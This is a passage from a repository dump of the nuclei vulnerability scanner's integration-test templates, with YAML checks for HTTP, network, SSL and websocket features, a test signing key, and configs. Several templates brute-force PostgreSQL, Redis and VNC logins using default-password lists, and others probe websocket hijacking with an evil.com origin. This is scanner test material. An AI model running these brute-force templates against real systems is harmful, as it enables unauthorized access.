    "content": "id: request-condition-new\n\ninfo:\n  name: request-condition-new\n  author: pd-team\n  severity: info\n\nhttp:\n  - method: GET\n    id: first\n    path:\n      - \"{{BaseURL}}/200\"\n  - method: GET\n    path:\n      - \"{{BaseURL}}/400\"\n    matchers:\n      - type: dsl\n        dsl:\n          - \"first_status_code==200 && status_code==400\""
  },
  {
    "path": "integration_tests/protocols/http/request-condition.yaml",
    "content": "id: request-condition\n\ninfo:\n  name: request-condition\n  author: pd-team\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/200\"\n      - \"{{BaseURL}}/400\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code_1==200 && status_code_2==400\""
  },
  {
    "path": "integration_tests/protocols/http/response-data-literal-reuse.yaml",
    "content": "id: response-data-literal-reuse\n\ninfo:\n  name: Response data literal reuse\n  author: dwisiswant0\n  severity: info\n  description: |\n    Make sure response-derived {{...}} content stays literal when reused in a\n    later request.\n  tags: test,http\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: extracted_body\n        part: body\n        regex:\n          - '(?s)(.*)'\n        internal: true\n\n  - raw:\n      - |\n        GET /echo?x={{extracted_body}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: status\n        status:\n          - 200\n"
  },
  {
    "path": "integration_tests/protocols/http/self-contained-file-input.yaml",
    "content": "id: self-contained-file-input\n\ninfo:\n  name: Test Self Contained Template With File Input\n  author: pdteam\n  severity: info\n\nself-contained: true\nhttp:\n  - method: GET\n    path:\n      - \"http://127.0.0.1:5431/{{test}}\"\n    matchers:\n      - type: word\n        words:\n          - This is self-contained response\n      \n  - raw:\n      - |\n        GET http://127.0.0.1:5431/{{test}} HTTP/1.1\n        Host: {{Hostname}}\n    matchers:\n      - type: word\n        words:\n          - This is self-contained response"
  },
  {
    "path": "integration_tests/protocols/http/self-contained-with-params.yaml",
    "content": "id: self-contained-with-params\n\ninfo:\n  name: self contained with params\n  author: pd-team\n  severity: info\n\nself-contained: true\nhttp:\n  - raw:\n      - |\n        GET http://127.0.0.1:5431/?something=here&key=value HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        words:\n          - This is self-contained response"
  },
  {
    "path": "integration_tests/protocols/http/self-contained-with-path.yaml",
    "content": "id: self-contained-with-path\n\ninfo:\n  name: self-contained-with-path\n  author: pd-team\n  severity: info\n\nself-contained: true\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: 127.0.0.1:5431\n\n    matchers:\n      - type: word\n        words:\n          - This is self-contained response"
  },
  {
    "path": "integration_tests/protocols/http/self-contained.yaml",
    "content": "id: example-self-contained-input\n\ninfo:\n  name: example-self-contained\n  author: pd-team\n  severity: info\n\nself-contained: true\nhttp:\n  - raw:\n      - |\n        GET http://127.0.0.1:5431/ HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        words:\n          - This is self-contained response"
  },
  {
    "path": "integration_tests/protocols/http/stop-at-first-match-with-extractors.yaml",
    "content": "id: stop-at-first-match-with-extractors\n\ninfo:\n  name: Stop at first match Request with extractors\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}?a=1\"\n      - \"{{BaseURL}}?a=2\"\n    stop-at-first-match: true\n    extractors:\n      - type: kval\n        part: header\n        kval:\n          - \"date\""
  },
  {
    "path": "integration_tests/protocols/http/stop-at-first-match.yaml",
    "content": "id: stop-at-first-match\n\ninfo:\n  name: Stop at first match Request\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}?a=1\"\n      - \"{{BaseURL}}?a=2\"\n    matchers:\n      - type: word\n        words:\n          - \"This is test\"\n    stop-at-first-match: true"
  },
  {
    "path": "integration_tests/protocols/http/variable-dsl-function.yaml",
    "content": "id: basic-example\n\ninfo:\n  name: Test HTTP Template\n  author: pdteam\n  severity: info\n\nvariables:\n a1: \"{{to_lower(rand_base(5))}}\"\n\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?x={{a1}}\"\n      - \"{{BaseURL}}/?x={{a1}}\"\n\n    extractors:\n      - type: dsl\n        dsl:\n          - a1"
  },
  {
    "path": "integration_tests/protocols/http/variables-threads-previous.yaml",
    "content": "id: variables-threads-previous\n\ninfo:\n  name: Variables with Threads and Previous Request Data\n  author: pdteam\n  severity: info\n  description: |\n    Test that variables can reference data extracted from previous requests\n    when using threads mode (parallel execution).\n\nvariables:\n  auth_header: \"Bearer {{extracted_token}}\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/login\"\n\n    extractors:\n      - type: regex\n        name: extracted_token\n        part: body\n        regex:\n          - 'token=([a-z0-9]+)'\n        group: 1\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api\"\n    threads: 5\n    headers:\n      Authorization: \"{{auth_header}}\"\n\n    matchers:\n      - type: word\n        words:\n          - \"Bearer secret123\"\n"
  },
  {
    "path": "integration_tests/protocols/http/variables.yaml",
    "content": "id: variables-example\n\ninfo:\n  name: Variables Example\n  author: pdteam\n  severity: info\n\nvariables:\n  a1: \"value\"\n  a2: \"{{base64('{{Host}}')}}\"\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{FQDN}}\n        Test: {{a1}}\n        Another: {{a2}}\n        Email: {{ username }}\n    payloads:\n      username:\n        - jon.doe@{{ FQDN }}\n    stop-at-first-match: true\n    matchers-condition: or\n    matchers:\n      - type: word\n        condition: and\n        words: \n          - \"value\"\n          - \"MTI3LjAuMC4x\" # 127.0.0.1\n          - \"jon.doe@127.0.0.1\"\n"
  },
  {
    "path": "integration_tests/protocols/javascript/multi-ports.yaml",
    "content": "id: multi-ports\n\ninfo:\n  name: Multi Ports - Detection\n  author: pdteam\n  severity: info\n  description: |\n    Multi Ports template for testing\n  metadata:\n    max-request: 1\n  tags: js,detect,multi-ports,enum,network\n\njavascript:\n  - pre-condition: |\n      isPortOpen(Host,Port);\n    code: |\n      var m = require(\"nuclei/ssh\");\n      var c = m.SSHClient();\n      var response = c.ConnectSSHInfoMode(Host, Port);\n      Export(response);\n    args:\n      Host: \"{{Host}}\"\n      Port: \"2222,22\" # Port 22 should match\n\n    extractors:\n      - type: json\n        json:\n          - '.UserAuth'"
  },
  {
    "path": "integration_tests/protocols/javascript/mysql-connect.yaml",
    "content": "id: mysql-connect\n\ninfo:\n  name: MySQL Connect Test\n  author: pdteam\n  severity: high\n\njavascript:\n  - pre-condition: |\n      isPortOpen(Host, Port)\n    code: |\n      const mysql = require('nuclei/mysql');\n      const client = new mysql.MySQLClient;\n      success = client.Connect(Host, Port, User, Pass);\n    args:\n      Host: \"{{Host}}\"\n      Port: \"3306\"\n      User: \"root\"\n      Pass: \"secret\"\n    matchers:\n      - type: dsl\n        dsl:\n          - \"success == true\"\n"
  },
  {
    "path": "integration_tests/protocols/javascript/net-https.yaml",
    "content": "id: net-https\n\ninfo:\n  name: net-https\n  author: pdteam\n  severity: info\n  description: send and receive https data using net module\n\n\njavascript:\n  - code: |\n      let m = require('nuclei/net');\n      let name=Host+':'+Port;\n      let conn = m.OpenTLS('tcp', name);\n      conn.Send('GET / HTTP/1.1\\r\\nHost:'+name+'\\r\\nConnection: close\\r\\n\\r\\n');\n      resp = conn.RecvString();\n\n    args:\n      Host: \"{{Host}}\"\n      Port: \"443\"\n\n    matchers:\n      - type: word\n        words:\n          - \"HTTP/1.1 200 OK\""
  },
  {
    "path": "integration_tests/protocols/javascript/net-multi-step.yaml",
    "content": "id: network-multi-step\ninfo:\n  name: network multi-step\n  author: tarunKoyalwar\n  severity: high\n  description: |\n    Network multi-step template for testing\n\n\njavascript:\n  - code: |\n      var m = require(\"nuclei/net\");\n      var conn = m.Open(\"tcp\",address);\n      conn.SetTimeout(timeout); // optional timeout\n      conn.Send(\"FIRST\")\n      conn.RecvString(4) // READ 4 bytes i.e PING\n      conn.Send(\"SECOND\")\n      conn.RecvString(4) // READ 4 bytes i.e PONG\n      conn.RecvString(6) // READ 6 bytes i.e NUCLEI\n\n    args:\n      address: \"{{Host}}:{{Port}}\"\n      Host: \"{{Host}}\"\n      Port: 5431\n      timeout: 3 # in sec\n\n    matchers:\n      - type: dsl\n        dsl:\n          - success == true\n          - response == \"NUCLEI\"\n        condition: and\n"
  },
  {
    "path": "integration_tests/protocols/javascript/no-port-args.yaml",
    "content": "id: javascript-no-port-args\n\ninfo:\n  name: JavaScript Template Without Port Args\n  author: dwisiswant0\n  severity: info\n  description: |\n    Test backwards compatibility for JavaScript templates without Port in args.\n    Templates should execute even when Port arg is not explicitly specified.\n\njavascript:\n  - code: |\n      // Simple JavaScript code that does not require Port\n      let result = \"executed\";\n      Export(result);\n\n    args:\n      TestArg: \"test-value\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - success == true\n"
  },
  {
    "path": "integration_tests/protocols/javascript/postgres-pass-brute.yaml",
    "content": "id: postgres-pass-brute\n\ninfo:\n  name: PostgreSQL Password Bruteforce\n  author: pdteam\n  severity: high\n  description: |\n    This template bruteforces passwords for protected PostgreSQL instances.\n    If PostgreSQL is not protected with password, it is also matched.\n  metadata:\n    shodan-query: product:\"PostgreSQL\"\n  tags: js,network,postgresql,authentication\n\njavascript:\n  - pre-condition: |\n      isPortOpen(Host,Port)\n\n    code: |\n      const postgres = require('nuclei/postgres');\n      const client = new postgres.PGClient;\n      success = client.Connect(Host, Port, User, Pass);\n\n    args:\n      Host: \"{{Host}}\"\n      Port: \"5432\"\n      User: \"{{usernames}}\"\n      Pass: \"{{passwords}}\"\n\n    attack: clusterbomb\n    payloads:\n      usernames:\n        - postgres\n        - admin\n        - root\n      passwords:\n        - \"\"\n        - postgres\n        - password\n        - admin\n        - root\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"success == true\"\n\n"
  },
  {
    "path": "integration_tests/protocols/javascript/redis-pass-brute.yaml",
    "content": "id: redis-pass-brute\ninfo:\n  name: redis password bruteforce\n  author: tarunKoyalwar\n  severity: high\n  description: |\n    This template bruteforces passwords for protected redis instances.\n    If redis is not protected with password. it is also matched\n  metadata:\n    shodan-query: product:\"redis\"\n\n\njavascript:\n  - pre-condition: |\n      isPortOpen(Host,Port)\n\n    code: |\n      var m = require(\"nuclei/redis\");\n      m.GetServerInfoAuth(Host,Port,Password);\n\n    args:\n      Host: \"{{Host}}\"\n      Port: \"6379\"\n      Password: \"{{passwords}}\"\n\n    payloads:\n      passwords:\n        - \"\"\n        - root\n        - password\n        - admin\n        - iamadmin\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"redis_version\"\n      - type: word\n        negative: true\n        words:\n          - \"redis_mode:sentinel\"\n"
  },
  {
    "path": "integration_tests/protocols/javascript/rsync-test.yaml",
    "content": "id: rsync-test\n\ninfo:\n  name: Rsync Test\n  author: pdteam\n  severity: info\n\njavascript:\n  - code: |\n      const rsync = require('nuclei/rsync');\n      rsync.IsRsync(Host, Port);\n\n    args:\n      Host: \"{{Host}}\"\n      Port: \"873\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"success == true\"\n          "
  },
  {
    "path": "integration_tests/protocols/javascript/ssh-server-fingerprint.yaml",
    "content": "id: ssh-server-fingerprint\n\ninfo:\n  name: Fingerprint SSH Server Software\n  author: Ice3man543,tarunKoyalwar\n  severity: info\n  metadata:\n    shodan-query: port:22\n  \n\njavascript:\n  - code: |\n      var m = require(\"nuclei/ssh\");\n      var c = m.SSHClient();\n      var response = c.ConnectSSHInfoMode(Host, Port);\n      to_json(response);\n    args:\n      Host: \"{{Host}}\"\n      Port: \"22\"\n\n    extractors:\n      - type: json\n        name: server\n        json:\n          - '.ServerID.Raw'\n        part: response\n"
  },
  {
    "path": "integration_tests/protocols/javascript/telnet-auth-test.yaml",
    "content": "id: telnet-auth-test\n\ninfo:\n  name: Telnet Authentication Test\n  author: pdteam\n  severity: info\n  metadata:\n    shodan-query: port:23\n  \n\njavascript:\n  - code: |\n      var m = require(\"nuclei/telnet\");\n      var c = m.TelnetClient();\n      c.Connect(Host, Port, User, Password);\n\n    args:\n      Host: \"{{Host}}\"\n      Port: \"23\"\n      User: \"dev\"\n      Password: \"mysecret\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"response == true\"\n          - \"success == true\"\n        condition: and\n"
  },
  {
    "path": "integration_tests/protocols/javascript/vnc-pass-brute.yaml",
    "content": "id: vnc-password-test\n\ninfo:\n  name: VNC Password Authentication Test\n  author: pdteam\n  severity: high\n  description: |\n    Tests VNC authentication with correct and incorrect passwords.\n  metadata:\n    shodan-query: product:\"vnc\"\n  tags: js,network,vnc,authentication\n\njavascript:\n  - pre-condition: |\n      isPortOpen(Host,Port)\n\n    code: |\n      let vnc = require('nuclei/vnc');\n      let client = new vnc.VNCClient();\n      client.Connect(Host, Port, Password);\n\n    args:\n      Host: \"{{Host}}\"\n      Port: \"5900\"\n      Password: \"{{passwords}}\"\n    payloads:\n      passwords:\n        - \"\"\n        - root\n        - password\n        - admin\n        - mysecret\n    stop-at-first-match: true\n      \n    matchers:\n      - type: dsl\n        dsl:\n          - \"success == true\"\n"
  },
  {
    "path": "integration_tests/protocols/keys/README.md",
    "content": "## keys\n\nthe keys stored here especially `ci-private-key.pem` and `ci.crt` are used in integration tests to test template signing and verification functionality introduced in nuclei v3"
  },
  {
    "path": "integration_tests/protocols/keys/ci-private-key.pem",
    "content": "-----BEGIN PD NUCLEI USER PRIVATE KEY-----\nMHcCAQEEIEywlBGZ94ARrBT+1fTu/Ii7HGfJc4y7kK4aGYvDMYm5oAoGCCqGSM49\nAwEHoUQDQgAEnyVUkFKJx92/8doQ//VAPCrzB4dqvNgwLRZPC/oAieVpNG8HDGNw\nPJ7qB7ovIfGwDOW98vQwsRG4TmgFlZr0rQ==\n-----END PD NUCLEI USER PRIVATE KEY-----\n"
  },
  {
    "path": "integration_tests/protocols/keys/ci.crt",
    "content": "-----BEGIN PD NUCLEI USER CERTIFICATE-----\nMIIBPzCB56ADAgECAgRlHGgmMAoGCCqGSM49BAMCMA0xCzAJBgNVBAMTAkNJMB4X\nDTIzMTAwMzE5MTQ0NloXDTI3MTAwMjE5MTQ0NlowDTELMAkGA1UEAxMCQ0kwWTAT\nBgcqhkjOPQIBBggqhkjOPQMBBwNCAASfJVSQUonH3b/x2hD/9UA8KvMHh2q82DAt\nFk8L+gCJ5Wk0bwcMY3A8nuoHui8h8bAM5b3y9DCxEbhOaAWVmvStozUwMzAOBgNV\nHQ8BAf8EBAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAK\nBggqhkjOPQQDAgNHADBEAiBgUdbAcSbDpkNNQscZog/pAuaRV4sk7fbOlTRcjZTL\nqQIgdtvG1w7l9VAtk6gx+HJa3BP9IFhSfT+a3UCuJy2p2iA=\n-----END PD NUCLEI USER CERTIFICATE-----\n"
  },
  {
    "path": "integration_tests/protocols/multi/dynamic-values.yaml",
    "content": "id: dns-http-dynamic-values\n\ninfo:\n  name: multi protocol request with dynamic values\n  author: pdteam\n  severity: info\n\ndns:\n  - name: \"{{FQDN}}\" # DNS Request\n    type: cname\n\n    extractors:\n      - type: dsl\n        name: blogid\n        dsl:\n          - trim_suffix(cname,'.vercel-dns.com')\n        internal: true\n\nhttp:\n  - method: GET # http request\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(body,'home') # check for http string\n          - blogid == 'cname' # check for cname (extracted information from dns response)\n        condition: and"
  },
  {
    "path": "integration_tests/protocols/multi/evaluate-variables.yaml",
    "content": "id: dns-ssl-http-with-variables\n\ninfo:\n  name: multi protocol request with dynamic values\n  author: pdteam\n  severity: info\n\n\nvariables:\n  cname_filtered: '{{trim_suffix(dns_cname,\".vercel-dns.com\")}}'\n\ndns:\n  - name: \"{{FQDN}}\" # DNS Request\n    type: cname\n\nssl:\n  - address: \"{{Hostname}}\" # ssl request\n\nhttp:\n  - method: GET # http request\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(http_body,'home') # check for http string\n          - cname_filtered == 'cname' # check for cname (extracted information from dns response)\n          - ssl_subject_cn == 'docs.projectdiscovery.io'\n        condition: and"
  },
  {
    "path": "integration_tests/protocols/multi/exported-response-vars.yaml",
    "content": "id: dns-ssl-http-proto-prefix\n\ninfo:\n  name: multi protocol request with dynamic values\n  author: pdteam\n  severity: info\n\ndns:\n  - name: \"{{FQDN}}\" # DNS Request\n    type: cname\n\nssl:\n  - address: \"{{Hostname}}\" # ssl request\n\nhttp:\n  - method: GET # http request\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(http_body,'home') # check for http string\n          - trim_suffix(dns_cname,'.vercel-dns.com') == 'cname' # check for cname (extracted information from dns response)\n          - ssl_subject_cn == 'docs.projectdiscovery.io'\n        condition: and"
  },
  {
    "path": "integration_tests/protocols/network/basic.yaml",
    "content": "id: basic-network-request\n\ninfo:\n  name: Basic Network Request\n  author: pdteam\n  severity: info\n\nnetwork:\n  - host: \n      - \"{{Hostname}}\"\n    inputs:\n      - data: \"PING\\r\\n\"\n    read-size: 4\n    matchers:\n      - type: word\n        part: data\n        words:\n          - \"PONG\""
  },
  {
    "path": "integration_tests/protocols/network/hex.yaml",
    "content": "id: hex-network-request\n\ninfo:\n  name: Hex Input Network Request\n  author: pdteam\n  severity: info\n\nnetwork:\n  - host: \n      - \"{{Hostname}}\"\n    inputs:\n      - data: \"50494e47\"\n        type: hex\n      - data: \"\\r\\n\"\n\n    read-size: 4\n    matchers:\n      - type: word\n        part: data\n        encoding: hex\n        words:\n          - \"504f4e47\""
  },
  {
    "path": "integration_tests/protocols/network/multi-step.yaml",
    "content": "id: multi-step\n\ninfo:\n  name: Multi-Step Network Template\n  author: pd-team\n  severity: info\n\nnetwork:\n  - inputs:\n      - data: \"FIRST\"\n        read: 4\n        name: first\n      - data: \"SECOND\"\n        read: 4\n        name: second\n    host:\n      - \"{{Hostname}}\"\n    read-size: 6\n    matchers:\n      - type: word\n        part: first\n        words:\n          - \"PING\" \n      - type: word\n        part: second\n        words:\n          - \"PONG\" \n      - type: word\n        part: data\n        words:\n          - \"NUCLEI\" \n    matchers-condition: and"
  },
  {
    "path": "integration_tests/protocols/network/net-https-timeout.yaml",
    "content": "id: net-https-timeout\n\ninfo:\n  name: Example Network template which times out\n  author: pdteam\n  severity: high\n  description: Example Network template to send HTTPS request which times out\n\n\ntcp:\n  - host: \n      - \"tls://{{Hostname}}\"\n    port: 443\n    inputs:\n      # noticable difference between this and net-https.yaml is that here we don't send the Connection: close header\n      # and hence connection will remain open until server closes it. This can be a DOS vector in nuclei\n      # as it waits for server to close the connection. now we have set a default timeout of 5 seconds and if server responds but doesn't close the connection\n      # then nuclei will close connection but doesn't fail the request since we already have response data from server\n      # this feature is only required for `read-all: true` to work properly\n      - data: \"GET / HTTP/1.1\\r\\nHost: {{Hostname}}\\r\\n\\r\\n\"\n    read-all: true\n    extractors:\n    - type: dsl\n      dsl:\n        - \"len(data)\""
  },
  {
    "path": "integration_tests/protocols/network/net-https.yaml",
    "content": "id: net-https\n\ninfo:\n  name: Example Network template to send HTTPS request\n  author: pdteam\n  severity: high\n  description: Example Network template to send HTTPS request\n\n\ntcp:\n  - host: \n      - \"tls://{{Hostname}}\"\n    port: 443\n    inputs:\n      - data: \"GET / HTTP/1.1\\r\\nHost: {{Hostname}}\\r\\nConnection: close\\r\\n\\r\\n\"\n    read-all: true\n    extractors:\n    - type: dsl\n      dsl:\n        - \"len(data)\""
  },
  {
    "path": "integration_tests/protocols/network/network-port.yaml",
    "content": "id: network-port-example\n\ninfo:\n  name: Example Template with Network Port\n  author: pdteam\n  severity: high\n  description: This is an updated description for the network port example.\n  reference: https://updated-reference-link\n\ntcp:\n  - host: \n      - \"{{Hostname}}\"\n    port: 23846\n    inputs:\n      - data: \"PING\\r\\n\"\n    read-size: 4\n    matchers:\n    - type: word\n      part: data\n      words:\n        - \"PONG\"\n"
  },
  {
    "path": "integration_tests/protocols/network/same-address.yaml",
    "content": "id: same-target\n\ninfo:\n  name: same-target\n  author: pdteam\n  severity: info\n  description: Riak is a distributed NoSQL key-value data store that offers high availability, fault tolerance, operational simplicity, and scalability.\n\nnetwork:\n  - host: \n      - \"{{Hostname}}\"\n      - \"{{Hostname}}\"\n      - \"{{Hostname}}\"\n      - \"{{Hostname}}\"\n      - \"{{Hostname}}\"\n      - \"{{Hostname}}\"\n      - \"{{Hostname}}\"\n      - \"{{Hostname}}\"\n      - \"{{Hostname}}\"\n      - \"{{Hostname}}\"\n      - \"{{Hostname}}\"\n    inputs:\n      - data: \"PING\\r\\n\"\n    read-size: 4\n    matchers:\n      - type: word\n        part: data\n        words:\n          - \"PONG\"\n"
  },
  {
    "path": "integration_tests/protocols/network/self-contained.yaml",
    "content": "id: example-self-contained-input\n\ninfo:\n  name: example-self-contained\n  author: pd-team\n  severity: info\n\nself-contained: true\nnetwork:\n  - host:\n      - \"127.0.0.1:5431\"\n\n    matchers:\n      - type: word\n        words:\n          - \"Authentication successful\""
  },
  {
    "path": "integration_tests/protocols/network/variables.yaml",
    "content": "id: variables-example\n\ninfo:\n  name: Variables Example\n  author: pdteam\n  severity: info\n\nvariables:\n  a1: \"PING\"\n  a2: \"{{base64('hello')}}\"\n\nnetwork:\n  - host: \n      - \"{{Hostname}}\"\n    inputs:\n      - data: \"{{a1}}\"\n    read-size: 8\n    matchers:\n      - type: word\n        part: data\n        words:\n          - \"{{a2}}\""
  },
  {
    "path": "integration_tests/protocols/offlinehttp/data/req-resp-with-http-keywords.txt",
    "content": "GET / HTTP/1.1\nHost: pastebin.com\nUser-Agent: curl/7.79.1\nAccept: */*\nConnection: close\n\nHTTP/1.1 200 OK\nDate: Tue, 21 Jun 2022 09:32:01 GMT\nContent-Type: text/plain; charset=utf-8\nConnection: close\nx-frame-options: DENY\nx-content-type-options: nosniff\nx-xss-protection: 1;mode=block\ncache-control: public, max-age=1801\nCF-Cache-Status: HIT\nAge: 1585\nLast-Modified: Tue, 21 Jun 2022 09:05:36 GMT\nExpect-CT: max-age=604800, report-uri=\"https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct\"\nServer: cloudflare\nCF-RAY: 71ebbc0a7ea83b8b-CDG\n\n54\nline1\nthis is a line containing HTTP/1.1 FOO BAR\nline3\n0"
  },
  {
    "path": "integration_tests/protocols/offlinehttp/offline-allowed-paths.yaml",
    "content": "id: offline-allowed-paths\n\ninfo:\n  name: offline-allowed-paths\n  author: pdteam\n  severity: info\n  description: offline-allowed-paths\n\nhttp:\n  - path:\n      - \"{{BaseURL}}\"\n      - \"{{BaseURL}}/\"\n      - \"/\"\n\n    matchers:\n      - type: status\n        status:\n          - 200"
  },
  {
    "path": "integration_tests/protocols/offlinehttp/offline-raw.yaml",
    "content": "id: offline-raw\ninfo:\n  name: Test Offline raw Template\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        \n    matchers:\n      - type: status\n        status:\n          - 200"
  },
  {
    "path": "integration_tests/protocols/offlinehttp/rfc-req-resp.yaml",
    "content": "id: rfc-req-resp\n\ninfo:\n  name: Basic GET Request\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    matchers:\n      - type: word\n        words:\n          - \"this is a line containing HTTP/1.1 FOO BAR\""
  },
  {
    "path": "integration_tests/protocols/ssl/basic-ztls.yaml",
    "content": "id: basic-ssl-tls\n\ninfo:\n  name: Basic SSL Request with ztls\n  author: pdteam\n  severity: info\n\nssl:\n  - address: \"{{Host}}:{{Port}}\"\n\n    min_version: ssl30\n    max_version: tls12\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"tls_connection == 'ztls'\"\n"
  },
  {
    "path": "integration_tests/protocols/ssl/basic.yaml",
    "content": "id: basic-ssl\n\ninfo:\n  name: Basic SSL Request\n  author: pdteam\n  severity: info\n\nssl:\n  - address: \"{{Host}}:{{Port}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"probe_status == true\"\n"
  },
  {
    "path": "integration_tests/protocols/ssl/custom-cipher.yaml",
    "content": "id: custom-cipher\n\ninfo:\n  name: Basic SSL Request\n  author: pdteam\n  severity: info\n\nssl:\n  - address: \"{{Host}}:{{Port}}\"\n\n    cipher_suites:\n      - TLS_AES_128_GCM_SHA256\n\n    matchers:\n      - type: word\n        part: response\n        words:\n          - \"TLS_AES_128_GCM_SHA256\"\n"
  },
  {
    "path": "integration_tests/protocols/ssl/custom-version.yaml",
    "content": "id: custom-version\n\ninfo:\n  name: Basic SSL Request\n  author: pdteam\n  severity: info\n\nssl:\n  - address: \"{{Host}}:{{Port}}\"\n\n    min_version: tls12\n    max_version: tls12\n\n    matchers:\n      - type: word\n        part: response\n        words:\n          - 'tls12'\n"
  },
  {
    "path": "integration_tests/protocols/ssl/multi-req.yaml",
    "content": "id: multi-req\n\ninfo:\n  name: Multi-Request\n  author: pdteam\n  severity: info\n\nssl:\n  - address: \"{{Host}}:{{Port}}\"\n    min_version: ssl30\n    max_version: ssl30\n\n    extractors:\n      - type: json\n        json:\n          - \" .tls_version\"\n\n  - address: \"{{Host}}:{{Port}}\"\n    min_version: tls10\n    max_version: tls10\n\n    extractors:\n      - type: json\n        json:\n          - \" .tls_version\"\n\n  - address: \"{{Host}}:{{Port}}\"\n    min_version: tls11\n    max_version: tls11\n\n    extractors:\n      - type: json\n        json:\n          - \" .tls_version\""
  },
  {
    "path": "integration_tests/protocols/ssl/ssl-with-vars.yaml",
    "content": "id: ssl-with-vars\n\ninfo:\n  name: SSL with variables\n  author: pdteam\n  severity: info\n  tags: ssl\n\nssl:\n  - address: \"{{Host}}:{{Port}}\"\n    matchers:\n      - type: dsl\n        dsl:\n          - \"print_debug(test)\"\n"
  },
  {
    "path": "integration_tests/protocols/websocket/basic.yaml",
    "content": "id: basic-request\n\ninfo:\n  name: Basic Request\n  author: pdteam\n  severity: info\n\nwebsocket:\n  - address: '{{Scheme}}://{{Hostname}}'\n    inputs:\n      - data: hello\n    matchers:\n      - type: word\n        words:\n          - world\n        part: response"
  },
  {
    "path": "integration_tests/protocols/websocket/cswsh.yaml",
    "content": "id: basic-cswsh-request\n\ninfo:\n  name: Basic cswsh Request\n  author: pdteam\n  severity: info\n\nwebsocket:\n  - address: '{{Scheme}}://{{Hostname}}'\n    headers: \n      Origin: 'http://evil.com'\n    matchers:\n      - type: word\n        words:\n          - true\n        part: success"
  },
  {
    "path": "integration_tests/protocols/websocket/no-cswsh.yaml",
    "content": "id: basic-nocswsh-request\n\ninfo:\n  name: Basic Non-Vulnerable cswsh Request\n  author: pdteam\n  severity: info\n\nwebsocket:\n  - address: '{{Scheme}}://{{Hostname}}'\n    headers: \n      Origin: 'http://evil.com'\n    matchers:\n      - type: word\n        words:\n          - true\n        part: success"
  },
  {
    "path": "integration_tests/protocols/websocket/path.yaml",
    "content": "id: basic-request-path\n\ninfo:\n  name: Basic Request Path\n  author: pdteam\n  severity: info\n\nwebsocket:\n  - address: '{{Scheme}}://{{Hostname}}'\n    inputs:\n      - data: hello\n    matchers:\n      - type: word\n        words:\n          - world\n        part: response"
  },
  {
    "path": "integration_tests/protocols/whois/basic.yaml",
    "content": "id: basic-whois-example\n\ninfo:\n  name: test template for WHOIS\n  author: pdteam\n  severity: info\n\nwhois:\n  - query: \"{{Host}}\"\n    extractors:\n      - type: kval\n        kval:\n          - \"expiration date\"\n          - \"registrar\""
  },
  {
    "path": "integration_tests/run.sh",
    "content": "#!/bin/bash\n\necho \"::group::Build nuclei\"\nrm integration-test fuzzplayground nuclei 2>/dev/null\ncd ../cmd/nuclei\ngo build -race .\nmv nuclei ../../integration_tests/nuclei \necho \"::endgroup::\"\n\necho \"::group::Build nuclei integration-test\"\ncd ../integration-test\ngo build\nmv integration-test ../../integration_tests/integration-test \ncd ../../integration_tests\necho \"::endgroup::\"\n\necho \"::group::Installing nuclei templates\"\n./nuclei -update-templates\necho \"::endgroup::\"\n\n./integration-test\nif [ $? -eq 0 ]\nthen\n  exit 0\nelse\n  exit 1\nfi\n"
  },
  {
    "path": "integration_tests/subdomains.txt",
    "content": "one\ndocs\ndrive\nplay\n\n"
  },
  {
    "path": "integration_tests/test-issue-tracker-config1.yaml",
    "content": "allow-list:\n  severity: high, critical\ndeny-list:\n  severity: low\n\n# GitHub contains configuration options for GitHub issue tracker\ngithub:\n  # base-url is the optional self-hosted GitHub application url\n  base-url: https://localhost:8443/github\n  # username is the username of the GitHub user\n  username: test-username\n  # owner is the owner name of the repository for issues\n  owner: test-owner\n  # token is the token for GitHub account\n  token: test-token\n  # project-name is the name of the repository\n  project-name: test-project\n  # issue-label is the label of the created issue type\n  issue-label: bug\n\n# GitLab contains configuration options for gitlab issue tracker\ngitlab:\n  # base-url is the optional self-hosted GitLab application url\n  base-url: https://localhost:8443/gitlab\n  # username is the username of the GitLab user\n  username: test-username\n  # token is the token for GitLab account\n  token: test-token\n  # project-name is the name/id of the project(repository)\n  project-name: \"1234\"\n  # issue-label is the label of the created issue type\n  issue-label: bug\n\n# Jira contains configuration options for Jira issue tracker\njira:\n  # cloud is the boolean which tells if Jira instance is running in the cloud or on-prem version is used\n  cloud: true\n  # update-existing is the boolean which tells if the existing, opened issue should be updated or new one should be created\n  update-existing: false\n  # URL is the jira application url\n  url: https://localhost/jira\n  # 